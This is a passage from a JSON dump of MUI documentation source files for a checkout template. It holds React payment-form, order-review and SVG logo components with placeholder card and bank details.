theme).palette.divider,\n  background:\n    'linear-gradient(to bottom right, hsla(220, 35%, 97%, 0.3) 25%, hsla(220, 20%, 88%, 0.3) 100%)',\n  boxShadow: '0px 4px 8px hsla(210, 0%, 0%, 0.05)',\n  [theme.breakpoints.up('xs')]: {\n    height: 300,\n  },\n  [theme.breakpoints.up('sm')]: {\n    height: 350,\n  },\n  ...theme.applyStyles('dark', {\n    background:\n      'linear-gradient(to right bottom, hsla(220, 30%, 6%, 0.2) 25%, hsla(220, 20%, 25%, 0.2) 100%)',\n    boxShadow: '0px 4px 8px hsl(220, 35%, 0%)',\n  }),\n}));\n\nconst FormGrid = styled('div')(() => ({\n  display: 'flex',\n  flexDirection: 'column',\n}));\n\nexport default function PaymentForm() {\n  const [paymentType, setPaymentType] = React.useState('creditCard');\n  const [cardNumber, setCardNumber] = React.useState('');\n  const [cvv, setCvv] = React.useState('');\n  const [expirationDate, setExpirationDate] = React.useState('');\n\n  const handlePaymentTypeChange = (event) => {\n    setPaymentType(event.target.value);\n  };\n\n  const handleCardNumberChange = (event) => {\n    const value = event.target.value.replace(/\\D/g, '');\n    const formattedValue = value.replace(/(\\d{4})(?=\\d)/g, '$1 ');\n    if (value.length <= 16) {\n      setCardNumber(formattedValue);\n    }\n  };\n\n  const handleCvvChange = (event) => {\n    const value = event.target.value.replace(/\\D/g, '');\n    if (value.length <= 3) {\n      setCvv(value);\n    }\n  };\n\n  const handleExpirationDateChange = (event) => {\n    const value = event.target.value.replace(/\\D/g, '');\n    const formattedValue = value.replace(/(\\d{2})(?=\\d{2})/, '$1/');\n    if (value.length <= 4) {\n      setExpirationDate(formattedValue);\n    }\n  };\n\n  return (\n    <Stack spacing={{ xs: 3, sm: 6 }} useFlexGap>\n      <FormControl component=\"fieldset\" fullWidth>\n        <RadioGroup\n          aria-label=\"Payment options\"\n          name=\"paymentType\"\n          value={paymentType}\n          onChange={handlePaymentTypeChange}\n          sx={{\n            display: 'flex',\n            flexDirection: { xs: 'column', sm: 'row' },\n            gap: 2,\n          }}\n        >\n          <Card selected={paymentType === 'creditCard'}>\n            <CardActionArea\n              onClick={() => setPaymentType('creditCard')}\n              sx={{\n                '.MuiCardActionArea-focusHighlight': {\n                  backgroundColor: 'transparent',\n                },\n                '&:focus-visible': {\n                  backgroundColor: 'action.hover',\n                },\n              }}\n            >\n              <CardContent sx={{ display: 'flex', alignItems: 'center', gap: 1 }}>\n                <CreditCardRoundedIcon\n                  fontSize=\"small\"\n                  sx={[\n                    (theme) => ({\n                      color: 'grey.400',\n                      ...theme.applyStyles('dark', {\n                        color: 'grey.600',\n                      }),\n                    }),\n                    paymentType === 'creditCard' && {\n                      color: 'primary.main',\n                    },\n                  ]}\n                />\n                <Typography sx={{ fontWeight: 'medium' }}>Card</Typography>\n              </CardContent>\n            </CardActionArea>\n          </Card>\n          <Card selected={paymentType === 'bankTransfer'}>\n            <CardActionArea\n              onClick={() => setPaymentType('bankTransfer')}\n              sx={{\n                '.MuiCardActionArea-focusHighlight': {\n                  backgroundColor: 'transparent',\n                },\n                '&:focus-visible': {\n                  backgroundColor: 'action.hover',\n                },\n              }}\n            >\n              <CardContent sx={{ display: 'flex', alignItems: 'center', gap: 1 }}>\n                <AccountBalanceRoundedIcon\n                  fontSize=\"small\"\n                  sx={[\n                    (theme) => ({\n                      color: 'grey.400',\n                      ...theme.applyStyles('dark', {\n                        color: 'grey.600',\n                      }),\n                    }),\n                    paymentType === 'bankTransfer' && {\n                      color: 'primary.main',\n                    },\n                  ]}\n                />\n                <Typography sx={{ fontWeight: 'medium' }}>Bank account</Typography>\n              </CardContent>\n            </CardActionArea>\n          </Card>\n        </RadioGroup>\n      </FormControl>\n      {paymentType === 'creditCard' && (\n        <Box sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}>\n          <PaymentContainer>\n            <Box sx={{ display: 'flex', justifyContent: 'space-between' }}>\n              <Typography variant=\"subtitle2\">Credit card</Typography>\n              <CreditCardRoundedIcon sx={{ color: 'text.secondary' }} />\n            </Box>\n            <SimCardRoundedIcon\n              sx={{\n                fontSize: { xs: 48, sm: 56 },\n                transform: 'rotate(90deg)',\n                color: 'text.secondary',\n              }}\n            />\n            <Box\n              sx={{\n                display: 'flex',\n                justifyContent: 'space-between',\n                width: '100%',\n                gap: 2,\n              }}\n            >\n              <FormGrid sx={{ flexGrow: 1 }}>\n                <FormLabel htmlFor=\"card-number\" required>\n                  Card number\n                </FormLabel>\n                <OutlinedInput\n                  id=\"card-number\"\n                  autoComplete=\"card-number\"\n                  placeholder=\"0000 0000 0000 0000\"\n                  required\n                  size=\"small\"\n                  value={cardNumber}\n                  onChange={handleCardNumberChange}\n                />\n              </FormGrid>\n              <FormGrid sx={{ maxWidth: '20%' }}>\n                <FormLabel htmlFor=\"cvv\" required>\n                  CVV\n                </FormLabel>\n                <OutlinedInput\n                  id=\"cvv\"\n                  autoComplete=\"CVV\"\n                  placeholder=\"123\"\n                  required\n                  size=\"small\"\n                  value={cvv}\n                  onChange={handleCvvChange}\n                />\n              </FormGrid>\n            </Box>\n            <Box sx={{ display: 'flex', gap: 2 }}>\n              <FormGrid sx={{ flexGrow: 1 }}>\n                <FormLabel htmlFor=\"card-name\" required>\n                  Name\n                </FormLabel>\n                <OutlinedInput\n                  id=\"card-name\"\n                  autoComplete=\"card-name\"\n                  placeholder=\"John Smith\"\n                  required\n                  size=\"small\"\n                />\n              </FormGrid>\n              <FormGrid sx={{ flexGrow: 1 }}>\n                <FormLabel htmlFor=\"card-expiration\" required>\n                  Expiration date\n                </FormLabel>\n                <OutlinedInput\n                  id=\"card-expiration\"\n                  autoComplete=\"card-expiration\"\n                  placeholder=\"MM/YY\"\n                  required\n                  size=\"small\"\n                  value={expirationDate}\n                  onChange={handleExpirationDateChange}\n                />\n              </FormGrid>\n            </Box>\n          </PaymentContainer>\n          <FormControlLabel\n            control={<Checkbox name=\"saveCard\" />}\n            label=\"Remember credit card details for next time\"\n          />\n        </Box>\n      )}\n      {paymentType === 'bankTransfer' && (\n        <Box sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}>\n          <Alert severity=\"warning\" icon={<WarningRoundedIcon />}>\n            Your order will be processed once we receive the funds.\n          </Alert>\n          <Typography variant=\"subtitle1\" sx={{ fontWeight: 'medium' }}>\n            Bank account\n          </Typography>\n          <Typography variant=\"body1\" gutterBottom>\n            Please transfer the payment to the bank account details shown below.\n          </Typography>\n          <Box sx={{ display: 'flex', gap: 1 }}>\n            <Typography variant=\"body1\" sx={{ color: 'text.secondary' }}>\n              Bank:\n            </Typography>\n            <Typography variant=\"body1\" sx={{ fontWeight: 'medium' }}>\n              Mastercredit\n            </Typography>\n          </Box>\n          <Box sx={{ display: 'flex', gap: 1 }}>\n            <Typography variant=\"body1\" sx={{ color: 'text.secondary' }}>\n              Account number:\n            </Typography>\n            <Typography variant=\"body1\" sx={{ fontWeight: 'medium' }}>\n              123456789\n            </Typography>\n          </Box>\n          <Box sx={{ display: 'flex', gap: 1 }}>\n            <Typography variant=\"body1\" sx={{ color: 'text.secondary' }}>\n              Routing number:\n            </Typography>\n            <Typography variant=\"body1\" sx={{ fontWeight: 'medium' }}>\n              987654321\n            </Typography>\n          </Box>\n        </Box>\n      )}\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/checkout/components/PaymentForm.tsx",
    "content": "import * as React from 'react';\nimport Alert from '@mui/material/Alert';\nimport Box from '@mui/material/Box';\nimport MuiCard from '@mui/material/Card';\nimport CardActionArea from '@mui/material/CardActionArea';\nimport CardContent from '@mui/material/CardContent';\nimport Checkbox from '@mui/material/Checkbox';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormLabel from '@mui/material/FormLabel';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport { styled } from '@mui/material/styles';\nimport AccountBalanceRoundedIcon from '@mui/icons-material/AccountBalanceRounded';\nimport CreditCardRoundedIcon from '@mui/icons-material/CreditCardRounded';\nimport SimCardRoundedIcon from '@mui/icons-material/SimCardRounded';\nimport WarningRoundedIcon from '@mui/icons-material/WarningRounded';\n\nconst Card = styled(MuiCard)<{ selected?: boolean }>(({ theme }) => ({\n  border: '1px solid',\n  borderColor: (theme.vars || theme).palette.divider,\n  width: '100%',\n  '&:hover': {\n    background:\n      'linear-gradient(to bottom right, hsla(210, 100%, 97%, 0.5) 25%, hsla(210, 100%, 90%, 0.3) 100%)',\n    borderColor: 'primary.light',\n    boxShadow: '0px 2px 8px hsla(0, 0%, 0%, 0.1)',\n    ...theme.applyStyles('dark', {\n      background:\n        'linear-gradient(to right bottom, hsla(210, 100%, 12%, 0.2) 25%, hsla(210, 100%, 16%, 0.2) 100%)',\n      borderColor: 'primary.dark',\n      boxShadow: '0px 1px 8px hsla(210, 100%, 25%, 0.5) ',\n    }),\n  },\n  [theme.breakpoints.up('md')]: {\n    flexGrow: 1,\n    maxWidth: `calc(50% - ${theme.spacing(1)})`,\n  },\n  variants: [\n    {\n      props: ({ selected }) => selected,\n      style: {\n        borderColor: (theme.vars || theme).palette.primary.light,\n        ...theme.applyStyles('dark', {\n          borderColor: (theme.vars || theme).palette.primary.dark,\n        }),\n      },\n    },\n  ],\n}));\n\nconst PaymentContainer = styled('div')(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  justifyContent: 'space-between',\n  width: '100%',\n  height: 375,\n  padding: theme.spacing(3),\n  borderRadius: `calc(${theme.shape.borderRadius}px + 4px)`,\n  border: '1px solid ',\n  borderColor: (theme.vars || theme).palette.divider,\n  background:\n    'linear-gradient(to bottom right, hsla(220, 35%, 97%, 0.3) 25%, hsla(220, 20%, 88%, 0.3) 100%)',\n  boxShadow: '0px 4px 8px hsla(210, 0%, 0%, 0.05)',\n  [theme.breakpoints.up('xs')]: {\n    height: 300,\n  },\n  [theme.breakpoints.up('sm')]: {\n    height: 350,\n  },\n  ...theme.applyStyles('dark', {\n    background:\n      'linear-gradient(to right bottom, hsla(220, 30%, 6%, 0.2) 25%, hsla(220, 20%, 25%, 0.2) 100%)',\n    boxShadow: '0px 4px 8px hsl(220, 35%, 0%)',\n  }),\n}));\n\nconst FormGrid = styled('div')(() => ({\n  display: 'flex',\n  flexDirection: 'column',\n}));\n\nexport default function PaymentForm() {\n  const [paymentType, setPaymentType] = React.useState('creditCard');\n  const [cardNumber, setCardNumber] = React.useState('');\n  const [cvv, setCvv] = React.useState('');\n  const [expirationDate, setExpirationDate] = React.useState('');\n\n  const handlePaymentTypeChange = (event: {\n    target: { value: React.SetStateAction<string> };\n  }) => {\n    setPaymentType(event.target.value);\n  };\n\n  const handleCardNumberChange = (event: { target: { value: string } }) => {\n    const value = event.target.value.replace(/\\D/g, '');\n    const formattedValue = value.replace(/(\\d{4})(?=\\d)/g, '$1 ');\n    if (value.length <= 16) {\n      setCardNumber(formattedValue);\n    }\n  };\n\n  const handleCvvChange = (event: { target: { value: string } }) => {\n    const value = event.target.value.replace(/\\D/g, '');\n    if (value.length <= 3) {\n      setCvv(value);\n    }\n  };\n\n  const handleExpirationDateChange = (event: { target: { value: string } }) => {\n    const value = event.target.value.replace(/\\D/g, '');\n    const formattedValue = value.replace(/(\\d{2})(?=\\d{2})/, '$1/');\n    if (value.length <= 4) {\n      setExpirationDate(formattedValue);\n    }\n  };\n\n  return (\n    <Stack spacing={{ xs: 3, sm: 6 }} useFlexGap>\n      <FormControl component=\"fieldset\" fullWidth>\n        <RadioGroup\n          aria-label=\"Payment options\"\n          name=\"paymentType\"\n          value={paymentType}\n          onChange={handlePaymentTypeChange}\n          sx={{\n            display: 'flex',\n            flexDirection: { xs: 'column', sm: 'row' },\n            gap: 2,\n          }}\n        >\n          <Card selected={paymentType === 'creditCard'}>\n            <CardActionArea\n              onClick={() => setPaymentType('creditCard')}\n              sx={{\n                '.MuiCardActionArea-focusHighlight': {\n                  backgroundColor: 'transparent',\n                },\n                '&:focus-visible': {\n                  backgroundColor: 'action.hover',\n                },\n              }}\n            >\n              <CardContent sx={{ display: 'flex', alignItems: 'center', gap: 1 }}>\n                <CreditCardRoundedIcon\n                  fontSize=\"small\"\n                  sx={[\n                    (theme) => ({\n                      color: 'grey.400',\n                      ...theme.applyStyles('dark', {\n                        color: 'grey.600',\n                      }),\n                    }),\n                    paymentType === 'creditCard' && {\n                      color: 'primary.main',\n                    },\n                  ]}\n                />\n                <Typography sx={{ fontWeight: 'medium' }}>Card</Typography>\n              </CardContent>\n            </CardActionArea>\n          </Card>\n          <Card selected={paymentType === 'bankTransfer'}>\n            <CardActionArea\n              onClick={() => setPaymentType('bankTransfer')}\n              sx={{\n                '.MuiCardActionArea-focusHighlight': {\n                  backgroundColor: 'transparent',\n                },\n                '&:focus-visible': {\n                  backgroundColor: 'action.hover',\n                },\n              }}\n            >\n              <CardContent sx={{ display: 'flex', alignItems: 'center', gap: 1 }}>\n                <AccountBalanceRoundedIcon\n                  fontSize=\"small\"\n                  sx={[\n                    (theme) => ({\n                      color: 'grey.400',\n                      ...theme.applyStyles('dark', {\n                        color: 'grey.600',\n                      }),\n                    }),\n                    paymentType === 'bankTransfer' && {\n                      color: 'primary.main',\n                    },\n                  ]}\n                />\n                <Typography sx={{ fontWeight: 'medium' }}>Bank account</Typography>\n              </CardContent>\n            </CardActionArea>\n          </Card>\n        </RadioGroup>\n      </FormControl>\n      {paymentType === 'creditCard' && (\n        <Box sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}>\n          <PaymentContainer>\n            <Box sx={{ display: 'flex', justifyContent: 'space-between' }}>\n              <Typography variant=\"subtitle2\">Credit card</Typography>\n              <CreditCardRoundedIcon sx={{ color: 'text.secondary' }} />\n            </Box>\n            <SimCardRoundedIcon\n              sx={{\n                fontSize: { xs: 48, sm: 56 },\n                transform: 'rotate(90deg)',\n                color: 'text.secondary',\n              }}\n            />\n            <Box\n              sx={{\n                display: 'flex',\n                justifyContent: 'space-between',\n                width: '100%',\n                gap: 2,\n              }}\n            >\n              <FormGrid sx={{ flexGrow: 1 }}>\n                <FormLabel htmlFor=\"card-number\" required>\n                  Card number\n                </FormLabel>\n                <OutlinedInput\n                  id=\"card-number\"\n                  autoComplete=\"card-number\"\n                  placeholder=\"0000 0000 0000 0000\"\n                  required\n                  size=\"small\"\n                  value={cardNumber}\n                  onChange={handleCardNumberChange}\n                />\n              </FormGrid>\n              <FormGrid sx={{ maxWidth: '20%' }}>\n                <FormLabel htmlFor=\"cvv\" required>\n                  CVV\n                </FormLabel>\n                <OutlinedInput\n                  id=\"cvv\"\n                  autoComplete=\"CVV\"\n                  placeholder=\"123\"\n                  required\n                  size=\"small\"\n                  value={cvv}\n                  onChange={handleCvvChange}\n                />\n              </FormGrid>\n            </Box>\n            <Box sx={{ display: 'flex', gap: 2 }}>\n              <FormGrid sx={{ flexGrow: 1 }}>\n                <FormLabel htmlFor=\"card-name\" required>\n                  Name\n                </FormLabel>\n                <OutlinedInput\n                  id=\"card-name\"\n                  autoComplete=\"card-name\"\n                  placeholder=\"John Smith\"\n                  required\n                  size=\"small\"\n                />\n              </FormGrid>\n              <FormGrid sx={{ flexGrow: 1 }}>\n                <FormLabel htmlFor=\"card-expiration\" required>\n                  Expiration date\n                </FormLabel>\n                <OutlinedInput\n                  id=\"card-expiration\"\n                  autoComplete=\"card-expiration\"\n                  placeholder=\"MM/YY\"\n                  required\n                  size=\"small\"\n                  value={expirationDate}\n                  onChange={handleExpirationDateChange}\n                />\n              </FormGrid>\n            </Box>\n          </PaymentContainer>\n          <FormControlLabel\n            control={<Checkbox name=\"saveCard\" />}\n            label=\"Remember credit card details for next time\"\n          />\n        </Box>\n      )}\n      {paymentType === 'bankTransfer' && (\n        <Box sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}>\n          <Alert severity=\"warning\" icon={<WarningRoundedIcon />}>\n            Your order will be processed once we receive the funds.\n          </Alert>\n          <Typography variant=\"subtitle1\" sx={{ fontWeight: 'medium' }}>\n            Bank account\n          </Typography>\n          <Typography variant=\"body1\" gutterBottom>\n            Please transfer the payment to the bank account details shown below.\n          </Typography>\n          <Box sx={{ display: 'flex', gap: 1 }}>\n            <Typography variant=\"body1\" sx={{ color: 'text.secondary' }}>\n              Bank:\n            </Typography>\n            <Typography variant=\"body1\" sx={{ fontWeight: 'medium' }}>\n              Mastercredit\n            </Typography>\n          </Box>\n          <Box sx={{ display: 'flex', gap: 1 }}>\n            <Typography variant=\"body1\" sx={{ color: 'text.secondary' }}>\n              Account number:\n            </Typography>\n            <Typography variant=\"body1\" sx={{ fontWeight: 'medium' }}>\n              123456789\n            </Typography>\n          </Box>\n          <Box sx={{ display: 'flex', gap: 1 }}>\n            <Typography variant=\"body1\" sx={{ color: 'text.secondary' }}>\n              Routing number:\n            </Typography>\n            <Typography variant=\"body1\" sx={{ fontWeight: 'medium' }}>\n              987654321\n            </Typography>\n          </Box>\n        </Box>\n      )}\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/checkout/components/Review.js",
    "content": "import * as React from 'react';\nimport Divider from '@mui/material/Divider';\nimport Grid from '@mui/material/Grid';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\n\nconst addresses = ['1 MUI Drive', 'Reactville', 'Anytown', '99999', 'USA'];\nconst payments = [\n  { name: 'Card type:', detail: 'Visa' },\n  { name: 'Card holder:', detail: 'Mr. John Smith' },\n  { name: 'Card number:', detail: 'xxxx-xxxx-xxxx-1234' },\n  { name: 'Expiry date:', detail: '04/2024' },\n];\n\nexport default function Review() {\n  return (\n    <Stack spacing={2}>\n      <List disablePadding>\n        <ListItem sx={{ py: 1, px: 0 }}>\n          <ListItemText primary=\"Products\" secondary=\"4 selected\" />\n          <Typography variant=\"body2\">$134.98</Typography>\n        </ListItem>\n        <ListItem sx={{ py: 1, px: 0 }}>\n          <ListItemText primary=\"Shipping\" secondary=\"Plus taxes\" />\n          <Typography variant=\"body2\">$9.99</Typography>\n        </ListItem>\n        <ListItem sx={{ py: 1, px: 0 }}>\n          <ListItemText primary=\"Total\" />\n          <Typography variant=\"subtitle1\" sx={{ fontWeight: 700 }}>\n            $144.97\n          </Typography>\n        </ListItem>\n      </List>\n      <Divider />\n      <Stack\n        direction=\"column\"\n        divider={<Divider flexItem />}\n        spacing={2}\n        sx={{ my: 2 }}\n      >\n        <div>\n          <Typography variant=\"subtitle2\" gutterBottom>\n            Shipment details\n          </Typography>\n          <Typography gutterBottom>John Smith</Typography>\n          <Typography gutterBottom sx={{ color: 'text.secondary' }}>\n            {addresses.join(', ')}\n          </Typography>\n        </div>\n        <div>\n          <Typography variant=\"subtitle2\" gutterBottom>\n            Payment details\n          </Typography>\n          <Grid container>\n            {payments.map((payment) => (\n              <React.Fragment key={payment.name}>\n                <Stack\n                  direction=\"row\"\n                  spacing={1}\n                  useFlexGap\n                  sx={{ width: '100%', mb: 1 }}\n                >\n                  <Typography variant=\"body1\" sx={{ color: 'text.secondary' }}>\n                    {payment.name}\n                  </Typography>\n                  <Typography variant=\"body2\">{payment.detail}</Typography>\n                </Stack>\n              </React.Fragment>\n            ))}\n          </Grid>\n        </div>\n      </Stack>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/checkout/components/Review.tsx",
    "content": "import * as React from 'react';\nimport Divider from '@mui/material/Divider';\nimport Grid from '@mui/material/Grid';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\n\nconst addresses = ['1 MUI Drive', 'Reactville', 'Anytown', '99999', 'USA'];\nconst payments = [\n  { name: 'Card type:', detail: 'Visa' },\n  { name: 'Card holder:', detail: 'Mr. John Smith' },\n  { name: 'Card number:', detail: 'xxxx-xxxx-xxxx-1234' },\n  { name: 'Expiry date:', detail: '04/2024' },\n];\n\nexport default function Review() {\n  return (\n    <Stack spacing={2}>\n      <List disablePadding>\n        <ListItem sx={{ py: 1, px: 0 }}>\n          <ListItemText primary=\"Products\" secondary=\"4 selected\" />\n          <Typography variant=\"body2\">$134.98</Typography>\n        </ListItem>\n        <ListItem sx={{ py: 1, px: 0 }}>\n          <ListItemText primary=\"Shipping\" secondary=\"Plus taxes\" />\n          <Typography variant=\"body2\">$9.99</Typography>\n        </ListItem>\n        <ListItem sx={{ py: 1, px: 0 }}>\n          <ListItemText primary=\"Total\" />\n          <Typography variant=\"subtitle1\" sx={{ fontWeight: 700 }}>\n            $144.97\n          </Typography>\n        </ListItem>\n      </List>\n      <Divider />\n      <Stack\n        direction=\"column\"\n        divider={<Divider flexItem />}\n        spacing={2}\n        sx={{ my: 2 }}\n      >\n        <div>\n          <Typography variant=\"subtitle2\" gutterBottom>\n            Shipment details\n          </Typography>\n          <Typography gutterBottom>John Smith</Typography>\n          <Typography gutterBottom sx={{ color: 'text.secondary' }}>\n            {addresses.join(', ')}\n          </Typography>\n        </div>\n        <div>\n          <Typography variant=\"subtitle2\" gutterBottom>\n            Payment details\n          </Typography>\n          <Grid container>\n            {payments.map((payment) => (\n              <React.Fragment key={payment.name}>\n                <Stack\n                  direction=\"row\"\n                  spacing={1}\n                  useFlexGap\n                  sx={{ width: '100%', mb: 1 }}\n                >\n                  <Typography variant=\"body1\" sx={{ color: 'text.secondary' }}>\n                    {payment.name}\n                  </Typography>\n                  <Typography variant=\"body2\">{payment.detail}</Typography>\n                </Stack>\n              </React.Fragment>\n            ))}\n          </Grid>\n        </div>\n      </Stack>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/checkout/components/SitemarkIcon.js",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport default function SitemarkIcon() {\n  return (\n    <SvgIcon sx={{ height: 40, width: 100 }}>\n      <svg\n        width={86}\n        height={19}\n        viewBox=\"0 0 86 19\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fill=\"#B4C0D3\"\n          d=\"m.787 12.567 6.055-2.675 3.485 2.006.704 6.583-4.295-.035.634-4.577-.74-.422-3.625 2.817-2.218-3.697Z\"\n        />\n        <path\n          fill=\"#00D3AB\"\n          d=\"m10.714 11.616 5.352 3.908 2.112-3.767-4.295-1.725v-.845l4.295-1.76-2.112-3.732-5.352 3.908v4.013Z\"\n        />\n        <path\n          fill=\"#4876EF\"\n          d=\"m10.327 7.286.704-6.583-4.295.07.634 4.577-.74.422-3.66-2.816L.786 6.617l6.055 2.676 3.485-2.007Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M32.507 8.804v6.167h2.312v-7.86h-3.366v1.693h1.054ZM32.435 6.006c.212.22.535.33.968.33.434 0 .751-.11.953-.33.213-.23.318-.516.318-.86 0-.354-.105-.641-.318-.86-.202-.23-.52-.345-.953-.345-.433 0-.756.115-.968.344-.202.22-.303.507-.303.86 0 .345.101.632.303.861ZM24.46 14.799c.655.296 1.46.444 2.413.444.896 0 1.667-.139 2.312-.416.645-.277 1.141-.664 1.488-1.162.357-.506.535-1.094.535-1.764 0-.65-.169-1.2-.506-1.649-.328-.459-.785-.818-1.373-1.076-.587-.267-1.266-.435-2.037-.502l-.809-.071c-.481-.039-.828-.168-1.04-.388a1.08 1.08 0 0 1-.318-.774c0-.23.058-.44.173-.631.116-.201.29-.359.52-.474.241-.114.535-.172.882-.172.366 0 .67.067.91.201.053.029.104.059.15.09l.012.009.052.037c.146.111.263.243.35.395.125.21.188.444.188.703h2.311c0-.689-.159-1.286-.476-1.793-.318-.516-.776-.913-1.373-1.19-.588-.287-1.296-.43-2.124-.43-.79 0-1.474.133-2.052.4a3.131 3.131 0 0 0-1.358 1.12c-.318.487-.477 1.066-.477 1.735 0 .927.314 1.673.94 2.237.626.564 1.464.89 2.514.976l.794.071c.645.058 1.113.187 1.401.388a.899.899 0 0 1 .434.788 1.181 1.181 0 0 1-.231.717c-.154.201-.38.36-.68.474-.298.115-.669.172-1.112.172-.49 0-.89-.067-1.199-.2-.308-.144-.539-.33-.694-.56a1.375 1.375 0 0 1-.216-.746h-2.297c0 .679.168 1.281.505 1.807.337.517.834.928 1.489 1.234ZM39.977 15.07c-.8 0-1.445-.095-1.936-.286a2.03 2.03 0 0 1-1.084-.99c-.221-.469-.332-1.1-.332-1.893V8.789h-1.2V7.11h1.2V4.988h2.153V7.11h2.312V8.79h-2.312v3.198c0 .373.096.66.289.86.202.192.486.287.852.287h1.17v1.937h-1.112Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M43.873 14.899c.52.23 1.117.344 1.791.344.665 0 1.252-.115 1.763-.344.51-.23.934-.55 1.271-.96.337-.412.564-.88.679-1.407h-2.124c-.096.24-.279.44-.549.603-.27.162-.616.244-1.04.244-.262 0-.497-.031-.704-.093a1.572 1.572 0 0 1-.423-.194 1.662 1.662 0 0 1-.636-.803 3.159 3.159 0 0 1-.163-.645h5.784v-.775a4.28 4.28 0 0 0-.463-1.98 3.686 3.686 0 0 0-1.343-1.477c-.578-.382-1.291-.574-2.139-.574-.645 0-1.223.115-1.733.345-.501.22-.92.52-1.257.903a4.178 4.178 0 0 0-.78 1.305c-.174.478-.26.98-.26 1.506v.287c0 .507.086 1.004.26 1.492.183.478.443.913.78 1.305.347.382.775.688 1.286.918Zm-.094-4.674.02-.09a2.507 2.507 0 0 1 .117-.356c.145-.354.356-.622.636-.804.104-.067.217-.123.339-.165.204-.071.433-.107.686-.107.395 0 .723.09.983.272.27.173.472.426.607.76a2.487 2.487 0 0 1 .16.603h-3.57c.006-.038.013-.076.022-.113Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M50.476 14.97V7.112h1.835v1.98a4.54 4.54 0 0 1 .173-.603c.202-.536.506-.937.91-1.205.405-.277.9-.416 1.488-.416h.101c.598 0 1.094.139 1.489.416.404.268.707.67.91 1.205l.016.04.013.037.028-.077c.212-.536.52-.937.925-1.205.405-.277.901-.416 1.489-.416h.1c.598 0 1.098.139 1.503.416.414.268.727.67.94 1.205.211.535.317 1.205.317 2.008v4.475h-2.312v-4.604c0-.43-.115-.78-.346-1.047-.222-.268-.54-.402-.954-.402-.414 0-.742.139-.982.416-.241.268-.362.626-.362 1.076v4.56h-2.326v-4.603c0-.43-.115-.78-.346-1.047-.222-.268-.535-.402-.94-.402-.423 0-.756.139-.996.416-.241.268-.362.626-.362 1.076v4.56h-2.311Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M68.888 13.456v1.515h1.834v-4.82c0-.726-.144-1.319-.433-1.778-.289-.468-.712-.817-1.271-1.047-.549-.23-1.228-.344-2.037-.344a27.76 27.76 0 0 0-.896.014c-.318.01-.626.024-.924.043l-.229.016a36.79 36.79 0 0 0-.552.042v1.936a81.998 81.998 0 0 1 1.733-.09 37.806 37.806 0 0 1 1.171-.025c.424 0 .732.1.925.301.193.201.289.502.289.904v.029h-1.43c-.704 0-1.325.09-1.864.272-.54.172-.959.445-1.257.818-.299.363-.448.832-.448 1.405 0 .526.12.98.361 1.363.24.373.573.66.997.86.433.201.934.302 1.502.302.55 0 1.012-.1 1.388-.302.385-.2.683-.487.895-.86a2.443 2.443 0 0 0 .228-.498l.018-.056Zm-.39-1.397v-.63h-1.445c-.405 0-.718.1-.939.3-.212.192-.318.455-.318.79 0 .157.026.3.08.429a.99.99 0 0 0 .238.345c.221.191.534.287.939.287a2.125 2.125 0 0 0 .394-.038c.106-.021.206-.052.3-.092.212-.095.385-.253.52-.473.135-.22.212-.526.23-.918Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M72.106 14.97V7.11h1.835v2.595c.088-.74.31-1.338.665-1.791.481-.603 1.174-.904 2.08-.904h.303v1.98h-.578c-.635 0-1.127.172-1.473.516-.347.334-.52.822-.52 1.463v4.001h-2.312ZM79.92 11.298h.767l2.499 3.672h2.6l-3.169-4.51 2.606-3.35h-2.427l-2.875 3.737V4.5h-2.312v10.47h2.312v-3.672Z\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/checkout/components/SitemarkIcon.tsx",
